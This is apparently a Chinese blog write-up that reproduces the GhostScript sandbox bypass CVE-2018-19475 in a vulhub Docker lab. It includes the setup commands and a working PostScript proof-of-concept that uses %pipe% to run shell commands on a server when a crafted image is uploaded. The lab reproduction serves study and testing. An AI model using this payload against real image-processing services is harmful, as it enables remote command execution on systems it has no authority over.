GhostScript 沙箱绕过(命令执行)漏洞(CVE-2018-19475)复现
1、漏洞描述
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript。
./psi/zdevice2.c文件存在安全特征问题漏洞。该漏洞是源于网络系统或产品中缺少身份验证、访问控制、权限管理等安全措施。
影响版本
Ghostscript 9.24之前版本
2、靶机搭建
使用centos搭建的vulhub环境
cd vulhub-master/ghostscript/CVE-2018-19475
docker-compose up -d
访问:http://192.168.110.50:8080
3、漏洞复现
访问:http://192.168.110.50:8080
上传图片文件,使用burp抓包
poc:
%!PS
0 1 300367 {} for
{save restore} stopped {} if
(%pipe%id > /tmp/success && cat /tmp/success) (w) file
用dnslog试一下,也有返回
ps:还有一点没有搞懂,就是这个命令只有第一二次,能成功执行,后面就无法执行了。不论修改什么参数都无法执行,需要重启一下靶机,才能再次执行命令。可能是原理或者poc有什么没有弄清,后面再学习一下原理。
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。